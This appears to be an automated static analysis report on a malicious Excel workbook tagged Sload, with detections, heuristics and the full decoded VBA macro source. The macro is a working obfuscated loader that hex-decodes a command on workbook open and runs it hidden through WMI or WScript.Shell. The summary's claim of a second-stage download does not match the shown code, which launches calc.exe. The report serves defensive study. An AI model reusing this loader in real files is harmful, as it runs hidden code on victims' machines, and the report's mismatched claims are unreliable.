Sload — Office (OOXML) malware analysis

Static analysis result for SHA-256 b84edf948f6690b5…

MALICIOUS

Office (OOXML)

15.6 KB Created: 2021-10-26 14:21:26 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2021-11-02
MD5: baef1771a83c2fe6b2b563ac7ad58d11 SHA-1: d4f25b7c88a923b4968b7b6a925c545eb9a3bb8a SHA-256: b84edf948f6690b5b6a90003aefe78139dcd6ac13205a3e187e03b4908c6975e
360 Risk Score

Malware Insights

Sload · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a macro-enabled Excel file containing a Workbook_Open macro that executes obfuscated VBA code. This code reconstructs and executes 'calc.exe' via 'wscript.exe', indicating an attempt to download and run a second-stage payload. The presence of the 'Sload' ClamAV signature further supports this classification.

Heuristics 7

  • ClamAV: Xls.Malware.Sload-7135989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-7135989-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Obfuscated auto-exec VBA loader critical OLE_VBA_OBFUSCATED_AUTOEXEC_LOADER
    Auto-exec VBA reconstructs strings with a heavy custom decoder (numeric char-array, repeated hex-string decode, or junk-token Replace removal) and feeds them to a COM-instantiation or execution sink. This obfuscated-loader shape keeps CreateObject/Shell/URL indicators out of the macro source.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2922 bytes
SHA-256: 447bb058b4bd182ee2bd8f25495205b662204cd444a0cffe5dfa20add82f7e97
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub Workbook_Open()
exwfxkogdyzhvme rnmhkfgdizly("63616c63") & rnmhkfgdizly("2e657865")
End Sub
Private Function rnmhkfgdizly(ByVal rltukzcvrunb As String) As String
Dim dspmhvzhyymn As Long
For dspmhvzhyymn = 1 To Len(rltukzcvrunb) Step 2
rnmhkfgdizly = rnmhkfgdizly & Chr$(Val("&H" & Mid$(rltukzcvrunb, dspmhvzhyymn, 2)))
Next dspmhvzhyymn
End Function


Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "lpodhprka"
Sub exwfxkogdyzhvme(gywpsitzlb As String)
On Error Resume Next
Err.Clear
wimResult = wnwowtpt(gywpsitzlb)
If Err.Number <> 0 Or wimResult <> 0 Then
Err.Clear
wioitaidj gywpsitzlb
End If
On Error GoTo 0
End Sub


Attribute VB_Name = "nrxfqawqg"
Sub wioitaidj(mngfwupmjyipjinoes As String)
CreateObject(dujkjpfpgaqy("575363726970742e5368") & dujkjpfpgaqy("656c6c")).Run mngfwupmjyipjinoes, 0
End Sub
Private Function dujkjpfpgaqy(ByVal qdsinegdwfeo As String) As String
Dim zqfahpwuzxwi As Long
For zqfahpwuzxwi = 1 To Len(qdsinegdwfeo) Step 2
dujkjpfpgaqy = dujkjpfpgaqy & Chr$(Val("&H" & Mid$(qdsinegdwfeo, zqfahpwuzxwi, 2)))
Next zqfahpwuzxwi
End Function


Attribute VB_Name = "sbhhkxhjw"
Function wnwowtpt(cmdLine As String) As Integer
Dim icxtyatyidpcv As Object
Dim txersxfdpgrjskati As Object
Set lwxfhkedjbam = GetObject(izlrbkwvnjxh("77696e6d676d74733a5c5c2e5c726f6f745c6369") & izlrbkwvnjxh("6d7632"))
Set lepbvbdlb = lwxfhkedjbam.Get(izlrbkwvnjxh("57696e33325f") & izlrbkwvnjxh("50726f6365737353746172747570"))
Set icxtyatyidpcv = lepbvbdlb.SpawnInstance_
icxtyatyidpcv.ShowWindow = 0
Set txersxfdpgrjskati = GetObject(izlrbkwvnjxh("77696e6d676d74733a5c5c2e5c726f6f745c63696d76323a5769") & izlrbkwvnjxh("6e33325f50726f63657373"))
wnwowtpt = qyqavvfvdpgjimpd(txersxfdpgrjskati, icxtyatyidpcv, cmdLine)
End Function
Private Function qyqavvfvdpgjimpd(tfqvqyigbstlcfwz As Object, zigoxyvyyttrssplzo As Object, tuqehwoajfqozdfeiyl As String) As Integer
Dim jiasiwaetgqpfnluan As Long
qyqavvfvdpgjimpd = tfqvqyigbstlcfwz.Create(tuqehwoajfqozdfeiyl, Null, zigoxyvyyttrssplzo, jiasiwaetgqpfnluan)
End Function
Private Function izlrbkwvnjxh(ByVal nuoatimgiziz As String) As String
Dim dpwidfezgnip As Long
For dpwidfezgnip = 1 To Len(nuoatimgiziz) Step 2
izlrbkwvnjxh = izlrbkwvnjxh & Chr$(Val("&H" & Mid$(nuoatimgiziz, dpwidfezgnip, 2)))
Next dpwidfezgnip
End Function
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 21504 bytes
SHA-256: 393bf75e0597f28f2da165a2a624da072c21f04dd352db3aa1a4c0d91b077036
Detection
ClamAV: Xls.Malware.Sload-7135989-0
Obfuscation or payload: unlikely

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